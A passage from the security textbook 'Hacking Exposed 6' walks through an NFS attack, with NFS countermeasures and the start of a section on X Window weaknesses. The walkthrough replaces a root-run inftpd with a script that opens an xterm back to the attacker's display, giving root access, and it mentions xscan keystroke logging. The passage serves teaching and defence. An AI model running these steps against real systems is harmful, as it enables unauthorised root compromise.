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to the binaries via NFS or any other means, most systems don t stand a chance Now we must mount /usr, alter our UID and GID, and attempt to gain access to the binaries:
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nfs> mount /usr Using a privileged port (1022) Mount '/usr', TCP, transfer size 8192 bytes nfs> uid 2 nfs> gid 2 nfs> status User id : 2 Group id : 2 Remote host : 'itchy' Mount path : '/usr' Transfer size: 8192
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We now have all the privileges of bin on the remote system In our example, the file systems were not exported with any special options that would limit bin s ability to create or modify files At this point, all that is necessary is to fire off an xterm or to create a back channel to our system to gain access to the target system We create the following script on our system and name it inftpd:
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#!/bin/sh /usr/openwin/bin/xterm -display 10101010:00 &
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Next, on the target system we cd into /sbin and replace inftpd with our version:
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nfs> cd /sbin nfs> put inftpd
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Finally, we allow the target server to connect back to our X server via the xhost command and issue the following command from our system to the target server:
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[sigma]# xhost +itchy itchy being added to access control list [sigma]# ftp itchy Connected to itchy
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The result, a root-owned xterm like the one represented next, will be displayed on our system Because inftpd is called with root privileges from inetd on this system, inetd will execute our script with root privileges, resulting in instant root access Note that we were able to overwrite inftpd in this case because its permissions were incorrectly set to be owned and writable by the user bin instead of root
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# id uid=0(root) gid=0(root) #
Hacking Exposed 6: Network Security Secrets & Solutions
NFS Countermeasure
If NFS is not required, NFS and related services (for example, mountd, statd, and lockd) should be disabled Implement client and user access controls to allow only authorized users to access required files Generally, /etc/exports or /etc/dfs/dfstab, or similar files, control what file systems are exported and what specific options can be enabled Some options include specifying machine names or netgroups, read-only options, and the ability to disallow the SUID bit Each NFS implementation is slightly different, so consult the user documentation or related man pages Also, never include the server s local IP address, or localhost, in the list of systems allowed to mount the file system Older versions of the portmapper would allow attackers to proxy connections on behalf of the attackers If the system were allowed to mount the exported file system, attackers could send NFS packets to the target system s portmapper, which in turn would forward the request to the localhost This would make the request appear as if it were coming from a trusted host and bypass any related access control rules Finally, apply all vendor-related patches
X Insecurities
Popularity: Simplicity: Impact: Risk Rating: 8 9 5 7
The X Window System provides a wealth of features that allow many programs to share a single graphical display The major problem with X is that its security model is an all-or-nothing approach Once a client is granted access to an X server, pandemonium can ensue X clients can capture the keystrokes of the console user, kill windows, capture windows for display elsewhere, and even remap the keyboard to issue nefarious commands no matter what the user types Most problems stem from a weak access control paradigm or pure indolence on the part of the system administrator The simplest and most popular form of X access control is xhost authentication This mechanism provides access control by IP address and is the weakest form of X authentication As a matter of convenience, a system administrator will issue xhost +, allowing unauthenticated access to the X server by any local or remote user (+ is a wildcard for any IP address) Worse, many PC-based X servers default to xhost +, unbeknown to their users Attackers can use this seemingly benign weakness to compromise the security of the target server One of the best programs to identify an X server with xhost + enabled is xscan, which will scan an entire subnet looking for an open X server and log all keystrokes to a log file:
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